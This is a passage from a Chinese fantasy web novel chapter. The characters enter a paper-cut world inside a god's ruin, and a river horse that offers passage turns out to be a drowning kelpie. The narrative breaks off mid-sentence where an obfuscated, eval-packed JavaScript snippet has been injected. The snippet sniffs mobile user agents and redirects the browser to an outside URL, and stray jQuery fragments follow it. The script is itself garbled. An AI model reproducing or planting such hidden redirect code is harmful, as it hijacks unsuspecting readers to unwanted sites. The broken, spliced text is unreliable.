從肉眼看,完全看不出這道光亮到底會帶他們通向何方。
玄在進入遺跡前回首,說出屬於他自己的答案:“何必執著於偏執的兩種顏色,我認為自己是灰,也僅喜歡灰。”
夕琉璃:“……”
玄說完,率先進入光源不見蹤影。夕琉璃緊隨其後,在抵達底端時遲疑觸碰光源,見沒有任何感覺,她一股腦鑽進這閃亮的光彩。
恰如經過攏長黝黑的隧道後重回晴天下,刺眼的光亮讓夕琉璃適應了好一會兒才看清麵前景物。
遺跡,遺跡,一個充滿曆史感的詞彙。
她曾想過神明遺跡的各種模樣,或是斷壁殘垣,或是莊嚴神聖,總而言之是要體現出神秘高大上的感覺。
可為什麼……造物主留下的遺跡風格好似有點跑偏?
這是一個與世隔絕的小世界,太陽永遠不會動彈,靜止在山間,保持著黃昏的橙黃霞光。
夕琉璃的遠處是一座小山莊:籬笆木樁高矮不齊;青藤綠葉攀爬屋簷;冰冽泉水淌入稻田;翠竹枝節搖曳身姿……全然一副世外桃源的景象。
能稱得上稀奇的是,整個世界的景物是紙糊的,扁扁平平就像從童話書裡裁剪出來的彩繪圖畫。
“小紙片?”夕琉璃驚訝,轉頭問玄,“這兒到底……等等,你成紙片人了?”
她嚇了一跳,旁邊活生生的大男人不
;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976454|126889||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#tent').append('
知何時也變得薄薄一片,是卡通形象的“玄”。他的扇子變成了小塑料扇,蠟筆畫出來的笨拙笑容略顯可愛,像個貼貼卡紙。
夕琉璃趕緊轉到另一邊確定泣儒的情況,不出所料,她跟玄一樣也變成了紙片人。
夕琉璃垂頭看了看自己仍是血肉之軀的手臂,她將自己的身體上下胡摸一遍,喃喃自語:“沒道理啊,我是異類?就我沒變?”
泣儒也是第一次來到神明的遺跡,對這裡的情況不甚了解,她同樣迷茫的眼神看向玄,希望從他那裡得到解答。
玄反而露出饒有興趣的神色,觀察周圍童真得近乎夢幻的場景:“神的殿堂不拘泥於常規,它會根據闖入者的不同而幻化成千萬種場景。”
夕琉璃到來,讓神跡展現出連玄也未曾見過的景象。
“帶您來此果真是一個正確的選擇。”玄的學者探究精神又被重新點燃,決定將這一發現也記錄在自己的研究筆記上。
往常死寂的神跡竟出現些許生氣,莊稼翠樹,落花飛鴻,攔住他們去路的是一條河流。
這是除夕琉璃之外唯一的不是紙糊的事物,它色彩繽紛宛如璀璨的星河,又像閃亮的流麻,流速粘稠緩慢。
河的另一邊正是他們要過去的村莊,對麵似乎也有一些會走動的紙片人。
不知道紙條沾上河水會不會有事?
正當夕琉璃在河邊思索如何過河時,粘稠的星河竟開始快速流動,像一條真正的河流之水。
從水中破出一隻通體雪白的馬,它噴出熾熱的鼻息,甩甩身上的水漬,打著哈欠口吐人言:“老夫貌似睡了許久……冒險者,是你要渡河嗎?”
瞥見玄沒有異言,夕琉璃不答反問老馬:“河的那邊有什麼事嗎?”
老馬習慣外來人會這般問,悠悠解釋道:“惡龍掠走公主,國王正在召集勇士去往山洞深處拯救公主呢。年輕人,我看你骨骼驚奇,說不準就是傳說中的‘勇士’。”
夕琉璃:“……”
好老套的劇情,好無聊的傳銷,神明編寫的故事和凡人一樣沒有新意。
不過老馬說到“山洞深處”,那兒可能跟玄所說的神跡殿堂深處扯上關係。
既然來都來了,她肯定要過去一探究竟:“這位…老馬爺爺,你有什麼辦法帶我們過河嗎?”
“還能有什麼辦法,坐到老夫的背上,我駝你們過去。”對方爽朗一笑,不顧及自己是馬的身份。
夕琉璃見沒有彆的辦法,隻好聽言乖乖騎上馬背。
她本想把玄和泣儒一同捎上,豈料老馬還頗有原則,拒絕“超重行駛”:“老夫一次隻能載一個人,其他人得等下一趟。”
“可他們薄得跟個紙一樣,感覺不重。”夕琉璃吐槽,她一隻手就能將他們揉成團。
然而老馬堅守己見:“不行就是不行,紙人也是人。”
吃彆人的嘴軟,拿彆人的手短,夕琉璃無奈放棄一載三的想法,跟玄無奈道:“那我就先過去了。”
老馬行得很穩,馬蹄踩在水麵上竟能憑空浮起,一步一蹄響,載著夕琉璃行至河流中心。
也許是太過悠哉自在,讓夕琉璃莫名生出幾分不安,她鬼使神差問了句:“老爺爺,我還不知道你的名字?”
“……凱爾派,可要記住了。”
夕琉璃聽罷寒毛倒立,手臂一陣發麻,當機立斷去抱緊它的脖頸。
果然,通體雪白的駿馬行至水中央時發出一聲長鳴,雙腳一蹬紮進激湍的河流中,駝著夕琉璃消失在水麵中。
凱爾派……
這哪是渡河的載具,分明是專門溺死人的水馬。